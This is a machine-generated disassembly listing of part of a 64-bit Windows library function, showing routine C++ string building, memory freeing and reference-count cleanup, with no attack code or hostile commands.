movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x320], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov r8, rdi
lea rcx, [rbp + 0x2f0]
cmovae rdx, qword [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x300], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
lea r8d, [r12 + 1]
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x2d0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rsi
lea rcx, [rbp + 0x2b0]
cmovae rdx, qword [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2c0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
movups xmm0, xmmword [rax]
lea r8d, [r12 + 1]
lea rdx, [0x180113c68]
movups xmmword [rbp + 0x290], xmm0
lea rcx, [rbp + 0x290]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, r15
lea rcx, [rbp + 0x270]
cmovae rdx, qword [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
xor r15d, r15d
lea r8d, [r12 + 3]
lea rdx, [0x180113c64]
lea rcx, [rbp + 0x250]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x260], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
movups xmmword [rbp + 0x430], xmm6
movups xmmword [rbp + 0x440], xmm7
cmp rdx, 0x10
jb 0x1800995a3
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009959e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x268]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x1800995ee
mov rcx, qword [rbp + 0x250]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800995e9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x288]
mov qword [rbp + 0x260], r15
mov qword [rbp + 0x268], 0xf
mov byte [rbp + 0x250], r12b
cmp rdx, 0x10
jb 0x180099648
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180099643
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2a8]
mov qword [rbp + 0x280], r15
mov qword [rbp + 0x288], 0xf
mov byte [rbp + 0x270], r12b
cmp rdx, 0x10
jb 0x1800996a2
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009969d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2c8]
mov qword [rbp + 0x2a0], r15
mov qword [rbp + 0x2a8], 0xf
mov byte [rbp + 0x290], r12b
cmp rdx, 0x10
jb 0x1800996fc
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800996f7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x2e8]
mov qword [rbp + 0x2c0], r15
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], r12b
cmp rdx, 0x10
jb 0x180099756
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180099751
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x308]
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], 0xf
mov byte [rbp + 0x2d0], r12b
cmp rdx, 0x10
jb 0x1800997b0
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800997ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x328]
mov qword [rbp + 0x300], r15
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], r12b
cmp rdx, 0x10
jb 0x18009980a
mov rcx, qword [rbp + 0x310]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180099805
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x358]
mov qword [rbp + 0x320], r15
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], r12b
cmp rdx, 0x10
jb 0x180099864
mov rcx, qword [rbp + 0x340]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009985f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x188]
mov qword [rbp + 0x350], r15
mov qword [rbp + 0x358], 0xf
mov byte [rbp + 0x340], r12b
cmp rdx, 0x10
jb 0x1800998be
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800998b9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d2c
call fcn.1800cb8d0
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rsp + 0x70]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x70]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x50]
call fcn.1800bef90
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
inc dword [0x180129a20]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0xb0]
mov rax, rsi
mov rcx, qword [rbp + 0xb8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0xf8]
sub rcx, qword [rbp + 0xa0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], 0
je 0x18009996c
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
jmp 0x180099977
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x380], xmm0
mov rax, qword [rbp + 0x388]
sub rax, qword [rbp + 0x380]
mov rdx, qword [rsp + 0x68]
add rax, rcx
mov r15, qword [rbp - 0x78]
add rbx, rax
mov rax, qword [rsp + 0x50]
mov rsi, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x38]
jmp 0x1800987e0
call qword [0x180129a18]
cmp rdi, 0x10
jb 0x1800999e4
mov rcx, qword [rbp - 0x50]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800999df
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d32
call fcn.1800cb8d0
cmp rsi, 0x10
jb 0x180099a1c
mov rcx, qword [rbp - 0x70]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180099a17
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d32
call fcn.1800cb8d0
cmp r15, 0x10
jb 0x180099a55
mov rcx, qword [rsp + 0x70]
lea rdx, [r15 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180099a50
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d32
call fcn.1800cb8d0
mov r8, qword [rbp + 0xb0]
test r8, r8
je 0x180099ad1
mov rcx, qword [rbp + 0xc0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x180099ab3
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099d32
mov rcx, r8
call fcn.1800cb8d0
xorps xmm0, xmm0
xor esi, esi
movdqa xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rsi
jmp 0x180099ad3
xor esi, esi
mov rcx, qword [rbp + 0x20]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x180099b14
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x180099b14
mov rbx, qword [rbp + 0x20]
test rbx, rbx
je 0x180099b14
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180099af8
mov rcx, qword [rbp + 0x40]
mov qword [rbp + 0x20], rsi
test rcx, rcx
je 0x180099b3a
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180099b3a
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x180099b74
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x180099b74
mov rbx, qword [rbp + 0x48]
test rbx, rbx
je 0x180099b74
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180099b58
mov rcx, qword [rbp + 0x68]
mov qword [rbp + 0x48], rsi
test rcx, rcx
je 0x180099b9a
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180099b9a
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x70]
test rax, rax
je 0x180099bd2
lock xadd dword [rax + 0x2c], edi
cmp edi, 1
jne 0x180099bd2
mov rbx, qword [rbp + 0x70]
test rbx, rbx
je 0x180099bd2
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x180099bb6
mov rcx, qword [rbp + 0x90]
mov qword [rbp + 0x70], rsi
test rcx, rcx
je 0x180099bfb
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180099bfb
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rsi, qword [rbp + 0x500]
mov r15, qword [rbp + 0x4f8]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180099c46
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180099c41
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180099ce4
call fcn.1800cb8d0
xor edi, edi
mov rbx, qword [rbp + 0x4f0]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x180099c96
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x180099c91
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180099cea
mov rcx, r8
call fcn.1800cb8d0
mov rcx, rsi
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
call fcn.1800be810
mov rcx, r14
call fcn.1800be810
movaps xmm6, xmmword [rsp + 0x5a0]
mov rax, rbx
mov rbx, qword [rsp + 0x608]
movaps xmm7, xmmword [rsp + 0x590]
add rsp, 0x5b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.18008a2a0
int3
call fcn.18008a2a0
int3
call fcn.18008a2a0
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3
call fcn.1800dab30
int3